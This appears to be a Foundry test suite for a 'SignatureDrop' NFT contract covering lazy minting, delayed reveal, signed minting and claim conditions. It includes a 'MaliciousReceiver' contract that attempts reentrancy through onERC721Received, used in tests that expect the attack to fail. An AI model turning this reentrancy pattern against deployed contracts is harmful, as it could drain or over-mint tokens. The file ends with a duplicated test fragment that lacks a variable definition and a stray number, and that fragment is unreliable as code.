// SPDX-License-Identifier: Apache-2.0 pragma solidity ^0.8.0; import { SignatureDrop } from "contracts/signature-drop/SignatureDrop.sol"; // Test imports import "./utils/BaseTest.sol"; import "@openzeppelin/contracts-upgradeable/utils/StringsUpgradeable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; contract SignatureDropBenchmarkTest is BaseTest { using StringsUpgradeable for uint256; SignatureDrop public sigdrop; address internal deployerSigner; bytes32 internal typehashMintRequest; bytes32 internal nameHash; bytes32 internal versionHash; bytes32 internal typehashEip712; bytes32 internal domainSeparator; SignatureDrop.AllowlistProof alp; SignatureDrop.MintRequest _mintrequest; bytes _signature; using stdStorage for StdStorage; function setUp() public override { super.setUp(); deployerSigner = signer; sigdrop = SignatureDrop(getContract("SignatureDrop")); erc20.mint(deployerSigner, 1_000_000); vm.deal(deployerSigner, 1_000); typehashMintRequest = keccak256( "MintRequest(address to,address royaltyRecipient,uint256 royaltyBps,address primarySaleRecipient,string uri,uint256 quantity,uint256 pricePerToken,address currency,uint128 validityStartTimestamp,uint128 validityEndTimestamp,bytes32 uid)" ); nameHash = keccak256(bytes("SignatureMintERC721")); versionHash = keccak256(bytes("1")); typehashEip712 = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); domainSeparator = keccak256(abi.encode(typehashEip712, nameHash, versionHash, block.chainid, address(sigdrop))); // ========================== bytes32[] memory proofs = new bytes32[](0); alp.proof = proofs; SignatureDrop.ClaimCondition[] memory conditions = new SignatureDrop.ClaimCondition[](1); conditions[0].maxClaimableSupply = 100; conditions[0].quantityLimitPerTransaction = 100; conditions[0].waitTimeInSecondsBetweenClaims = type(uint256).max; vm.prank(deployerSigner); sigdrop.lazyMint(100, "ipfs://", ""); vm.prank(deployerSigner); sigdrop.setClaimConditions(conditions[0], false); uint256 id = 0; _mintrequest.to = address(0); _mintrequest.royaltyRecipient = address(2); _mintrequest.royaltyBps = 0; _mintrequest.primarySaleRecipient = address(deployer); _mintrequest.uri = "ipfs://"; _mintrequest.quantity = 1; _mintrequest.pricePerToken = 1; _mintrequest.currency = address(erc20); _mintrequest.validityStartTimestamp = 1000; _mintrequest.validityEndTimestamp = 2000; _mintrequest.uid = bytes32(id); _signature = signMintRequest(_mintrequest, privateKey); vm.startPrank(deployerSigner); vm.warp(1000); erc20.approve(address(sigdrop), 1); } function signMintRequest(SignatureDrop.MintRequest memory mintrequest, uint256 privateKey) internal returns (bytes memory) { bytes memory encodedRequest = abi.encode( typehashMintRequest, mintrequest.to, mintrequest.royaltyRecipient, mintrequest.royaltyBps, mintrequest.primarySaleRecipient, keccak256(bytes(mintrequest.uri)), mintrequest.quantity, mintrequest.pricePerToken, mintrequest.currency, mintrequest.validityStartTimestamp, mintrequest.validityEndTimestamp, mintrequest.uid ); bytes32 structHash = keccak256(encodedRequest); bytes32 typedDataHash = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, typedDataHash); bytes memory signature = abi.encodePacked(r, s, v); return signature; } function test_benchmark_mintWithSignature() public { sigdrop.mintWithSignature(_mintrequest, _signature); } function test_benchmark_claim() public { sigdrop.claim(address(25), 1, address(0), 0, alp, ""); } } contract SignatureDropTest is BaseTest { using StringsUpgradeable for uint256; event TokensLazyMinted(uint256 startTokenId, uint256 endTokenId, string baseURI, bytes encryptedBaseURI); event TokenURIRevealed(uint256 index, string revealedURI); event TokensMintedWithSignature( address indexed signer, address indexed mintedTo, uint256 indexed tokenIdMinted, SignatureDrop.MintRequest mintRequest ); SignatureDrop public sigdrop; address internal deployerSigner; bytes32 internal typehashMintRequest; bytes32 internal nameHash; bytes32 internal versionHash; bytes32 internal typehashEip712; bytes32 internal domainSeparator; using stdStorage for StdStorage; function setUp() public override { super.setUp(); deployerSigner = signer; sigdrop = SignatureDrop(getContract("SignatureDrop")); erc20.mint(deployerSigner, 1_000_000); vm.deal(deployerSigner, 1_000); typehashMintRequest = keccak256( "MintRequest(address to,address royaltyRecipient,uint256 royaltyBps,address primarySaleRecipient,string uri,uint256 quantity,uint256 pricePerToken,address currency,uint128 validityStartTimestamp,uint128 validityEndTimestamp,bytes32 uid)" ); nameHash = keccak256(bytes("SignatureMintERC721")); versionHash = keccak256(bytes("1")); typehashEip712 = keccak256( "EIP712Domain(string name,string version,uint256 chainId,address verifyingContract)" ); domainSeparator = keccak256(abi.encode(typehashEip712, nameHash, versionHash, block.chainid, address(sigdrop))); } /*/////////////////////////////////////////////////////////////// Lazy Mint Tests //////////////////////////////////////////////////////////////*/ /* * note: Testing state changes; lazy mint a batch of tokens with no encrypted base URI. */ function test_state_lazyMint_noEncryptedURI() public { uint256 amountToLazyMint = 100; string memory baseURI = "ipfs://"; bytes memory encryptedBaseURI = ""; uint256 nextTokenIdToMintBefore = sigdrop.nextTokenIdToMint(); vm.startPrank(deployerSigner); uint256 batchId = sigdrop.lazyMint(amountToLazyMint, baseURI, encryptedBaseURI); assertEq(nextTokenIdToMintBefore + amountToLazyMint, sigdrop.nextTokenIdToMint()); assertEq(nextTokenIdToMintBefore + amountToLazyMint, batchId); for (uint256 i = 0; i < amountToLazyMint; i += 1) { string memory uri = sigdrop.tokenURI(i); console.log(uri); assertEq(uri, string(abi.encodePacked(baseURI, i.toString()))); } vm.stopPrank(); } /* * note: Testing state changes; lazy mint a batch of tokens with encrypted base URI. */ function test_state_lazyMint_withEncryptedURI() public { uint256 amountToLazyMint = 100; string memory baseURI = "ipfs://"; bytes memory encryptedBaseURI = "encryptedBaseURI://"; uint256 nextTokenIdToMintBefore = sigdrop.nextTokenIdToMint(); vm.startPrank(deployerSigner); uint256 batchId = sigdrop.lazyMint(amountToLazyMint, baseURI, encryptedBaseURI); assertEq(nextTokenIdToMintBefore + amountToLazyMint, sigdrop.nextTokenIdToMint()); assertEq(nextTokenIdToMintBefore + amountToLazyMint, batchId); for (uint256 i = 0; i < amountToLazyMint; i += 1) { string memory uri = sigdrop.tokenURI(1); assertEq(uri, string(abi.encodePacked(baseURI, "0"))); } vm.stopPrank(); } /** * note: Testing revert condition; an address without MINTER_ROLE calls lazyMint function. */ function test_revert_lazyMint_MINTER_ROLE() public { bytes memory errorMessage = abi.encodePacked( "Permissions: account ", Strings.toHexString(uint160(address(this)), 20), " is missing role ", Strings.toHexString(uint256(keccak256("MINTER_ROLE")), 32) ); vm.expectRevert(errorMessage); sigdrop.lazyMint(100, "ipfs://", ""); } /* * note: Testing revert condition; calling tokenURI for invalid batch id. */ function test_revert_lazyMint_URIForNonLazyMintedToken() public { vm.startPrank(deployerSigner); sigdrop.lazyMint(100, "ipfs://", ""); vm.expectRevert("No batch id for token."); sigdrop.tokenURI(100); vm.stopPrank(); } /** * note: Testing event emission; tokens lazy minted. */ function test_event_lazyMint_TokensLazyMinted() public { vm.startPrank(deployerSigner); vm.expectEmit(false, false, false, true); emit TokensLazyMinted(0, 100, "ipfs://", ""); sigdrop.lazyMint(100, "ipfs://", ""); vm.stopPrank(); } /* * note: Fuzz testing state changes; lazy mint a batch of tokens with no encrypted base URI. */ function test_fuzz_lazyMint_noEncryptedURI(uint256 x) public { vm.assume(x > 0); uint256 amountToLazyMint = x; string memory baseURI = "ipfs://"; bytes memory encryptedBaseURI = ""; uint256 nextTokenIdToMintBefore = sigdrop.nextTokenIdToMint(); vm.startPrank(deployerSigner); uint256 batchId = sigdrop.lazyMint(amountToLazyMint, baseURI, encryptedBaseURI); assertEq(nextTokenIdToMintBefore + amountToLazyMint, sigdrop.nextTokenIdToMint()); assertEq(nextTokenIdToMintBefore + amountToLazyMint, batchId); string memory uri = sigdrop.tokenURI(0); assertEq(uri, string(abi.encodePacked(baseURI, uint256(0).toString()))); uri = sigdrop.tokenURI(x - 1); assertEq(uri, string(abi.encodePacked(baseURI, uint256(x - 1).toString()))); /** * note: this loop takes too long to run with fuzz tests. */ // for(uint256 i = 0; i < amountToLazyMint; i += 1) { // string memory uri = sigdrop.tokenURI(i); // console.log(uri); // assertEq(uri, string(abi.encodePacked(baseURI, i.toString()))); // } vm.stopPrank(); } /* * note: Fuzz testing state changes; lazy mint a batch of tokens with encrypted base URI. */ function test_fuzz_lazyMint_withEncryptedURI(uint256 x) public { vm.assume(x > 0); uint256 amountToLazyMint = x; string memory baseURI = "ipfs://"; bytes memory encryptedBaseURI = "encryptedBaseURI://"; uint256 nextTokenIdToMintBefore = sigdrop.nextTokenIdToMint(); vm.startPrank(deployerSigner); uint256 batchId = sigdrop.lazyMint(amountToLazyMint, baseURI, encryptedBaseURI); assertEq(nextTokenIdToMintBefore + amountToLazyMint, sigdrop.nextTokenIdToMint()); assertEq(nextTokenIdToMintBefore + amountToLazyMint, batchId); string memory uri = sigdrop.tokenURI(0); assertEq(uri, string(abi.encodePacked(baseURI, "0"))); uri = sigdrop.tokenURI(x - 1); assertEq(uri, string(abi.encodePacked(baseURI, "0"))); /** * note: this loop takes too long to run with fuzz tests. */ // for(uint256 i = 0; i < amountToLazyMint; i += 1) { // string memory uri = sigdrop.tokenURI(1); // assertEq(uri, string(abi.encodePacked(baseURI, "0"))); // } vm.stopPrank(); } /* * note: Fuzz testing; a batch of tokens, and nextTokenIdToMint */ function test_fuzz_lazyMint_batchMintAndNextTokenIdToMint(uint256 x) public { vm.startPrank(deployerSigner); sigdrop.lazyMint(x, "ipfs://", ""); uint256 slot = stdstore.target(address(sigdrop)).sig("nextTokenIdToMint()").find(); bytes32 loc = bytes32(slot); uint256 nextTokenIdToMint = uint256(vm.load(address(sigdrop), loc)); assertEq(nextTokenIdToMint, x); vm.stopPrank(); } /*/////////////////////////////////////////////////////////////// Delayed Reveal Tests //////////////////////////////////////////////////////////////*/ /* * note: Testing state changes; URI revealed for a batch of tokens. */ function test_state_reveal() public { vm.startPrank(deployerSigner); bytes memory key = "key"; uint256 amountToLazyMint = 100; bytes memory secretURI = "ipfs://"; string memory placeholderURI = "ipfs://"; bytes memory encryptedURI = sigdrop.encryptDecrypt(secretURI, key); sigdrop.lazyMint(amountToLazyMint, placeholderURI, encryptedURI); for (uint256 i = 0; i < amountToLazyMint; i += 1) { string memory uri = sigdrop.tokenURI(i); assertEq(uri, string(abi.encodePacked(placeholderURI, "0"))); } string memory revealedURI = sigdrop.reveal(0, key); assertEq(revealedURI, string(secretURI)); for (uint256 i = 0; i < amountToLazyMint; i += 1) { string memory uri = sigdrop.tokenURI(i); assertEq(uri, string(abi.encodePacked(secretURI, i.toString()))); } vm.stopPrank(); } /** * note: Testing revert condition; an address without MINTER_ROLE calls reveal function. */ function test_revert_reveal_MINTER_ROLE() public { bytes memory encryptedURI = sigdrop.encryptDecrypt("ipfs://", "key"); vm.prank(deployerSigner); sigdrop.lazyMint(100, "", encryptedURI); vm.prank(deployerSigner); sigdrop.reveal(0, "key"); bytes memory errorMessage = abi.encodePacked( "Permissions: account ", Strings.toHexString(uint160(address(this)), 20), " is missing role ", Strings.toHexString(uint256(keccak256("MINTER_ROLE")), 32) ); vm.expectRevert(errorMessage); sigdrop.reveal(0, "key"); } /* * note: Testing revert condition; trying to reveal URI for non-existent batch. */ function test_revert_reveal_revealingNonExistentBatch() public { vm.startPrank(deployerSigner); bytes memory encryptedURI = sigdrop.encryptDecrypt("ipfs://", "key"); sigdrop.lazyMint(100, "", encryptedURI); sigdrop.reveal(0, "key"); console.log(sigdrop.getBaseURICount()); sigdrop.lazyMint(100, "", encryptedURI); vm.expectRevert("invalid index."); sigdrop.reveal(2, "key"); vm.stopPrank(); } /* * note: Testing revert condition; already revealed URI. */ function test_revert_delayedReveal_alreadyRevealed() public { vm.startPrank(deployerSigner); bytes memory encryptedURI = sigdrop.encryptDecrypt("ipfs://", "key"); sigdrop.lazyMint(100, "", encryptedURI); sigdrop.reveal(0, "key"); vm.expectRevert("nothing to reveal."); sigdrop.reveal(0, "key"); vm.stopPrank(); } /* * note: Testing state changes; revealing URI with an incorrect key. */ function testFail_reveal_incorrectKey() public { vm.startPrank(deployerSigner); bytes memory encryptedURI = sigdrop.encryptDecrypt("ipfs://", "key"); sigdrop.lazyMint(100, "", encryptedURI); string memory revealedURI = sigdrop.reveal(0, "keyy"); assertEq(revealedURI, "ipfs://"); vm.stopPrank(); } /** * note: Testing event emission; TokenURIRevealed. */ function test_event_reveal_TokenURIRevealed() public { vm.startPrank(deployerSigner); bytes memory encryptedURI = sigdrop.encryptDecrypt("ipfs://", "key"); sigdrop.lazyMint(100, "", encryptedURI); vm.expectEmit(false, false, false, true); emit TokenURIRevealed(0, "ipfs://"); sigdrop.reveal(0, "key"); vm.stopPrank(); } /*/////////////////////////////////////////////////////////////// Signature Mint Tests //////////////////////////////////////////////////////////////*/ function signMintRequest(SignatureDrop.MintRequest memory mintrequest, uint256 privateKey) internal returns (bytes memory) { bytes memory encodedRequest = abi.encode( typehashMintRequest, mintrequest.to, mintrequest.royaltyRecipient, mintrequest.royaltyBps, mintrequest.primarySaleRecipient, keccak256(bytes(mintrequest.uri)), mintrequest.quantity, mintrequest.pricePerToken, mintrequest.currency, mintrequest.validityStartTimestamp, mintrequest.validityEndTimestamp, mintrequest.uid ); bytes32 structHash = keccak256(encodedRequest); bytes32 typedDataHash = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash)); (uint8 v, bytes32 r, bytes32 s) = vm.sign(privateKey, typedDataHash); bytes memory signature = abi.encodePacked(r, s, v); return signature; } /* * note: Testing state changes; minting with signature, for a given price and currency. */ function test_state_mintWithSignature() public { vm.prank(deployerSigner); sigdrop.lazyMint(100, "ipfs://", ""); uint256 id = 0; SignatureDrop.MintRequest memory mintrequest; mintrequest.to = address(0); mintrequest.royaltyRecipient = address(2); mintrequest.royaltyBps = 0; mintrequest.primarySaleRecipient = address(deployer); mintrequest.uri = "ipfs://"; mintrequest.quantity = 1; mintrequest.pricePerToken = 1; mintrequest.currency = address(erc20); mintrequest.validityStartTimestamp = 1000; mintrequest.validityEndTimestamp = 2000; mintrequest.uid = bytes32(id); // Test with ERC20 currency { uint256 totalSupplyBefore = sigdrop.totalSupply(); bytes memory signature = signMintRequest(mintrequest, privateKey); vm.startPrank(deployerSigner); vm.warp(1000); erc20.approve(address(sigdrop), 1); vm.expectEmit(true, true, true, false); emit TokensMintedWithSignature(deployerSigner, deployerSigner, 0, mintrequest); sigdrop.mintWithSignature(mintrequest, signature); vm.stopPrank(); assertEq(totalSupplyBefore + mintrequest.quantity, sigdrop.totalSupply()); } // Test with native token currency { uint256 totalSupplyBefore = sigdrop.totalSupply(); mintrequest.currency = address(NATIVE_TOKEN); id = 1; mintrequest.uid = bytes32(id); bytes memory signature = signMintRequest(mintrequest, privateKey); vm.startPrank(address(deployerSigner)); vm.warp(1000); sigdrop.mintWithSignature{ value: mintrequest.pricePerToken }(mintrequest, signature); vm.stopPrank(); assertEq(totalSupplyBefore + mintrequest.quantity, sigdrop.totalSupply()); } } /** * note: Testing revert condition; invalid signature. */ function test_revert_mintWithSignature_unapprovedSigner() public { vm.prank(deployerSigner); sigdrop.lazyMint(100, "ipfs://", ""); uint256 id = 0; SignatureDrop.MintRequest memory mintrequest; mintrequest.to = address(0); mintrequest.royaltyRecipient = address(2); mintrequest.royaltyBps = 0; mintrequest.primarySaleRecipient = address(deployer); mintrequest.uri = "ipfs://"; mintrequest.quantity = 1; mintrequest.pricePerToken = 0; mintrequest.currency = address(3); mintrequest.validityStartTimestamp = 1000; mintrequest.validityEndTimestamp = 2000; mintrequest.uid = bytes32(id); bytes memory signature = signMintRequest(mintrequest, privateKey); vm.warp(1000); vm.prank(deployerSigner); sigdrop.mintWithSignature(mintrequest, signature); signature = signMintRequest(mintrequest, 4321); vm.expectRevert("Invalid request"); sigdrop.mintWithSignature(mintrequest, signature); } /** * note: Testing revert condition; not enough minted tokens. */ function test_revert_mintWithSignature_notEnoughMintedTokens() public { vm.prank(deployerSigner); sigdrop.lazyMint(100, "ipfs://", ""); uint256 id = 0; SignatureDrop.MintRequest memory mintrequest; mintrequest.to = address(0); mintrequest.royaltyRecipient = address(2); mintrequest.royaltyBps = 0; mintrequest.primarySaleRecipient = address(deployer); mintrequest.uri = "ipfs://"; mintrequest.quantity = 101; mintrequest.pricePerToken = 0; mintrequest.currency = address(3); mintrequest.validityStartTimestamp = 1000; mintrequest.validityEndTimestamp = 2000; mintrequest.uid = bytes32(id); bytes memory signature = signMintRequest(mintrequest, privateKey); vm.warp(1000); vm.expectRevert("not enough minted tokens."); sigdrop.mintWithSignature(mintrequest, signature); } /** * note: Testing revert condition; sent value is not equal to price. */ function test_revert_mintWithSignature_notSentAmountRequired() public { vm.prank(deployerSigner); sigdrop.lazyMint(100, "ipfs://", ""); uint256 id = 0; SignatureDrop.MintRequest memory mintrequest; mintrequest.to = address(0); mintrequest.royaltyRecipient = address(2); mintrequest.royaltyBps = 0; mintrequest.primarySaleRecipient = address(deployer); mintrequest.uri = "ipfs://"; mintrequest.quantity = 1; mintrequest.pricePerToken = 1; mintrequest.currency = address(3); mintrequest.validityStartTimestamp = 1000; mintrequest.validityEndTimestamp = 2000; mintrequest.uid = bytes32(id); { mintrequest.currency = address(NATIVE_TOKEN); bytes memory signature = signMintRequest(mintrequest, privateKey); vm.startPrank(address(deployerSigner)); vm.warp(mintrequest.validityStartTimestamp); vm.expectRevert("must send total price."); sigdrop.mintWithSignature{ value: 2 }(mintrequest, signature); vm.stopPrank(); } } /** * note: Testing token balances; checking balance and owner of tokens after minting with signature. */ function test_balances_mintWithSignature() public { vm.prank(deployerSigner); sigdrop.lazyMint(100, "ipfs://", ""); uint256 id = 0; SignatureDrop.MintRequest memory mintrequest; mintrequest.to = address(0); mintrequest.royaltyRecipient = address(2); mintrequest.royaltyBps = 0; mintrequest.primarySaleRecipient = address(deployer); mintrequest.uri = "ipfs://"; mintrequest.quantity = 1; mintrequest.pricePerToken = 1; mintrequest.currency = address(erc20); mintrequest.validityStartTimestamp = 1000; mintrequest.validityEndTimestamp = 2000; mintrequest.uid = bytes32(id); { uint256 currencyBalBefore = erc20.balanceOf(deployerSigner); bytes memory signature = signMintRequest(mintrequest, privateKey); vm.startPrank(deployerSigner); vm.warp(1000); erc20.approve(address(sigdrop), 1); sigdrop.mintWithSignature(mintrequest, signature); vm.stopPrank(); uint256 balance = sigdrop.balanceOf(address(deployerSigner)); assertEq(balance, 1); address owner = sigdrop.ownerOf(0); assertEq(deployerSigner, owner); assertEq( currencyBalBefore - mintrequest.pricePerToken * mintrequest.quantity, erc20.balanceOf(deployerSigner) ); vm.expectRevert(abi.encodeWithSignature("OwnerQueryForNonexistentToken()")); owner = sigdrop.ownerOf(1); } } /* * note: Testing state changes; minting with signature, for a given price and currency. */ function mintWithSignature(SignatureDrop.MintRequest memory mintrequest) internal { vm.prank(deployerSigner); sigdrop.lazyMint(100, "ipfs://", ""); uint256 id = 0; { bytes memory signature = signMintRequest(mintrequest, privateKey); vm.startPrank(deployerSigner); vm.warp(mintrequest.validityStartTimestamp); erc20.approve(address(sigdrop), 1); sigdrop.mintWithSignature(mintrequest, signature); vm.stopPrank(); } { mintrequest.currency = address(NATIVE_TOKEN); id = 1; mintrequest.uid = bytes32(id); bytes memory signature = signMintRequest(mintrequest, privateKey); vm.startPrank(address(deployerSigner)); vm.warp(mintrequest.validityStartTimestamp); sigdrop.mintWithSignature{ value: mintrequest.pricePerToken }(mintrequest, signature); vm.stopPrank(); } } function test_fuzz_mintWithSignature(uint128 x, uint128 y) public { if (x < y) { uint256 id = 0; SignatureDrop.MintRequest memory mintrequest; mintrequest.to = address(0); mintrequest.royaltyRecipient = address(2); mintrequest.royaltyBps = 0; mintrequest.primarySaleRecipient = address(deployer); mintrequest.uri = "ipfs://"; mintrequest.quantity = 1; mintrequest.pricePerToken = 1; mintrequest.currency = address(erc20); mintrequest.validityStartTimestamp = x; mintrequest.validityEndTimestamp = y; mintrequest.uid = bytes32(id); mintWithSignature(mintrequest); } } /*/////////////////////////////////////////////////////////////// Claim Tests //////////////////////////////////////////////////////////////*/ /** * note: Testing revert condition; not allowed to claim again before wait time is over. */ function test_revert_claimCondition_waitTimeInSecondsBetweenClaims() public { vm.warp(1); address receiver = getActor(0); bytes32[] memory proofs = new bytes32[](0); SignatureDrop.AllowlistProof memory alp; alp.proof = proofs; SignatureDrop.ClaimCondition[] memory conditions = new SignatureDrop.ClaimCondition[](1); conditions[0].maxClaimableSupply = 100; conditions[0].quantityLimitPerTransaction = 100; conditions[0].waitTimeInSecondsBetweenClaims = type(uint256).max; vm.prank(deployerSigner); sigdrop.lazyMint(100, "ipfs://", ""); vm.prank(deployerSigner); sigdrop.setClaimConditions(conditions[0], false); vm.prank(getActor(5), getActor(5)); sigdrop.claim(receiver, 1, address(0), 0, alp, ""); vm.expectRevert("cannot claim."); vm.prank(getActor(5), getActor(5)); sigdrop.claim(receiver, 1, address(0), 0, alp, ""); } /** * note: Testing revert condition; not enough minted tokens. */ function test_revert_claimCondition_notEnoughMintedTokens() public { vm.warp(1); address receiver = getActor(0); bytes32[] memory proofs = new bytes32[](0); SignatureDrop.AllowlistProof memory alp; alp.proof = proofs; SignatureDrop.ClaimCondition[] memory conditions = new SignatureDrop.ClaimCondition[](1); conditions[0].maxClaimableSupply = 100; conditions[0].quantityLimitPerTransaction = 100; conditions[0].waitTimeInSecondsBetweenClaims = type(uint256).max; vm.prank(deployerSigner); sigdrop.lazyMint(100, "ipfs://", ""); vm.prank(deployerSigner); sigdrop.setClaimConditions(conditions[0], false); vm.expectRevert("not enough minted tokens."); vm.prank(getActor(6), getActor(6)); sigdrop.claim(receiver, 101, address(0), 0, alp, ""); } /** * note: Testing revert condition; exceed max claimable supply. */ function test_revert_claimCondition_exceedMaxClaimableSupply() public { vm.warp(1); address receiver = getActor(0); bytes32[] memory proofs = new bytes32[](0); SignatureDrop.AllowlistProof memory alp; alp.proof = proofs; SignatureDrop.ClaimCondition[] memory conditions = new SignatureDrop.ClaimCondition[](1); conditions[0].maxClaimableSupply = 100; conditions[0].quantityLimitPerTransaction = 100; conditions[0].waitTimeInSecondsBetweenClaims = type(uint256).max; vm.prank(deployerSigner); sigdrop.lazyMint(200, "ipfs://", ""); vm.prank(deployerSigner); sigdrop.setClaimConditions(conditions[0], false); vm.prank(getActor(5), getActor(5)); sigdrop.claim(receiver, 100, address(0), 0, alp, ""); vm.expectRevert("exceed max claimable supply."); vm.prank(getActor(6), getActor(6)); sigdrop.claim(receiver, 1, address(0), 0, alp, ""); } /** * note: Testing revert condition; can't claim if not in whitelist. */ function test_revert_claimCondition_merkleProof() public { string[] memory inputs = new string[](2); inputs[0] = "node"; inputs[1] = "src/test/scripts/generateRoot.ts"; bytes memory result = vm.ffi(inputs); bytes32 root = abi.decode(result, (bytes32)); inputs[1] = "src/test/scripts/getProof.ts"; result = vm.ffi(inputs); bytes32[] memory proofs = abi.decode(result, (bytes32[])); vm.warp(1); address receiver = address(0x92Bb439374a091c7507bE100183d8D1Ed2c9dAD3); SignatureDrop.AllowlistProof memory alp; alp.proof = proofs; SignatureDrop.ClaimCondition[] memory conditions = new SignatureDrop.ClaimCondition[](1); conditions[0].maxClaimableSupply = 100; conditions[0].quantityLimitPerTransaction = 100; conditions[0].waitTimeInSecondsBetweenClaims = type(uint256).max; conditions[0].merkleRoot = root; vm.prank(deployerSigner); sigdrop.lazyMint(200, "ipfs://", ""); vm.prank(deployerSigner); sigdrop.setClaimConditions(conditions[0], false); // vm.prank(getActor(5), getActor(5)); vm.prank(receiver); sigdrop.claim(receiver, 100, address(0), 0, alp, ""); vm.prank(address(4)); vm.expectRevert("not in whitelist."); sigdrop.claim(receiver, 100, address(0), 0, alp, ""); } /** * note: Testing state changes; reset eligibility of claim conditions and claiming again for same condition id. */ function test_state_claimCondition_resetEligibility_waitTimeInSecondsBetweenClaims() public { vm.warp(1); address receiver = getActor(0); bytes32[] memory proofs = new bytes32[](0); SignatureDrop.AllowlistProof memory alp; alp.proof = proofs; SignatureDrop.ClaimCondition[] memory conditions = new SignatureDrop.ClaimCondition[](1); conditions[0].maxClaimableSupply = 100; conditions[0].quantityLimitPerTransaction = 100; conditions[0].waitTimeInSecondsBetweenClaims = type(uint256).max; vm.prank(deployerSigner); sigdrop.lazyMint(100, "ipfs://", ""); vm.prank(deployerSigner); sigdrop.setClaimConditions(conditions[0], false); vm.prank(getActor(5), getActor(5)); sigdrop.claim(receiver, 1, address(0), 0, alp, ""); vm.prank(deployerSigner); sigdrop.setClaimConditions(conditions[0], true); vm.prank(getActor(5), getActor(5)); sigdrop.claim(receiver, 1, address(0), 0, alp, ""); } /*/////////////////////////////////////////////////////////////// Reentrancy related Tests //////////////////////////////////////////////////////////////*/ function testFail_reentrancy_mintWithSignature() public { vm.prank(deployerSigner); sigdrop.lazyMint(100, "ipfs://", ""); uint256 id = 0; SignatureDrop.MintRequest memory mintrequest; mintrequest.to = address(0); mintrequest.royaltyRecipient = address(2); mintrequest.royaltyBps = 0; mintrequest.primarySaleRecipient = address(deployer); mintrequest.uri = "ipfs://"; mintrequest.quantity = 1; mintrequest.pricePerToken = 1; mintrequest.currency = address(NATIVE_TOKEN); mintrequest.validityStartTimestamp = 1000; mintrequest.validityEndTimestamp = 2000; mintrequest.uid = bytes32(id); // Test with native token currency { uint256 totalSupplyBefore = sigdrop.totalSupply(); mintrequest.uid = bytes32(id); bytes memory signature = signMintRequest(mintrequest, privateKey); MaliciousReceiver mal = new MaliciousReceiver(address(sigdrop)); vm.deal(address(mal), 100 ether); vm.warp(1000); mal.attackMintWithSignature(mintrequest, signature, false); assertEq(totalSupplyBefore + mintrequest.quantity, sigdrop.totalSupply()); } } function testFail_reentrancy_claim() public { vm.warp(1); bytes32[] memory proofs = new bytes32[](0); SignatureDrop.AllowlistProof memory alp; alp.proof = proofs; SignatureDrop.ClaimCondition[] memory conditions = new SignatureDrop.ClaimCondition[](1); conditions[0].maxClaimableSupply = 100; conditions[0].quantityLimitPerTransaction = 100; conditions[0].waitTimeInSecondsBetweenClaims = type(uint256).max; vm.prank(deployerSigner); sigdrop.lazyMint(100, "ipfs://", ""); vm.prank(deployerSigner); sigdrop.setClaimConditions(conditions[0], false); MaliciousReceiver mal = new MaliciousReceiver(address(sigdrop)); vm.deal(address(mal), 100 ether); mal.attackClaim(alp, false); } function testFail_combination_signatureAndClaim() public { vm.warp(1); bytes32[] memory proofs = new bytes32[](0); SignatureDrop.AllowlistProof memory alp; alp.proof = proofs; SignatureDrop.ClaimCondition[] memory conditions = new SignatureDrop.ClaimCondition[](1); conditions[0].maxClaimableSupply = 100; conditions[0].quantityLimitPerTransaction = 100; conditions[0].waitTimeInSecondsBetweenClaims = type(uint256).max; vm.prank(deployerSigner); sigdrop.lazyMint(100, "ipfs://", ""); vm.prank(deployerSigner); sigdrop.setClaimConditions(conditions[0], false); uint256 id = 0; SignatureDrop.MintRequest memory mintrequest; mintrequest.to = address(0); mintrequest.royaltyRecipient = address(2); mintrequest.royaltyBps = 0; mintrequest.primarySaleRecipient = address(deployer); mintrequest.uri = "ipfs://"; mintrequest.quantity = 1; mintrequest.pricePerToken = 1; mintrequest.currency = address(NATIVE_TOKEN); mintrequest.validityStartTimestamp = 1000; mintrequest.validityEndTimestamp = 2000; mintrequest.uid = bytes32(id); // Test with native token currency { uint256 totalSupplyBefore = sigdrop.totalSupply(); mintrequest.uid = bytes32(id); bytes memory signature = signMintRequest(mintrequest, privateKey); MaliciousReceiver mal = new MaliciousReceiver(address(sigdrop)); vm.deal(address(mal), 100 ether); vm.warp(1000); mal.saveCombination(mintrequest, signature, alp); mal.attackMintWithSignature(mintrequest, signature, true); // mal.attackClaim(alp, true); assertEq(totalSupplyBefore + mintrequest.quantity, sigdrop.totalSupply()); } } } contract MaliciousReceiver { SignatureDrop public sigdrop; SignatureDrop.MintRequest public mintrequest; SignatureDrop.AllowlistProof public alp; bytes public signature; bool public claim; bool public loop = true; constructor(address _sigdrop) { sigdrop = SignatureDrop(_sigdrop); } function attackMintWithSignature( SignatureDrop.MintRequest calldata _mintrequest, bytes calldata _signature, bool swap ) external { claim = swap; mintrequest = _mintrequest; signature = _signature; sigdrop.mintWithSignature{ value: _mintrequest.pricePerToken }(_mintrequest, _signature); } function attackClaim(SignatureDrop.AllowlistProof calldata _alp, bool swap) external { claim = !swap; alp = _alp; sigdrop.claim(address(this), 1, address(0), 0, _alp, ""); } function saveCombination( SignatureDrop.MintRequest calldata _mintrequest, bytes calldata _signature, SignatureDrop.AllowlistProof calldata _alp ) external { mintrequest = _mintrequest; signature = _signature; alp = _alp; } function onERC721Received( address, address, uint256, bytes calldata ) external returns (bytes4) { if (claim && loop) { loop = false; claim = false; sigdrop.claim(address(this), 1, address(0), 0, alp, ""); } else if (!claim && loop) { loop = false; sigdrop.mintWithSignature{ value: mintrequest.pricePerToken }(mintrequest, signature); } return this.onERC721Received.selector; } }
note: Testing revert condition; an address without MINTER_ROLE calls reveal function./
function test_revert_reveal_MINTER_ROLE() public { vm.prank(deployerSigner); sigdrop.lazyMint(100, "", encryptedURI); vm.prank(deployerSigner); sigdrop.reveal(0, "key"); bytes memory errorMessage = abi.encodePacked( "Permissions: account ", Strings.toHexString(uint160(address(this)), 20), " is missing role ", Strings.toHexString(uint256(keccak256("MINTER_ROLE")), 32) ); vm.expectRevert(errorMessage); sigdrop.reveal(0, "key"); }
1,798,308
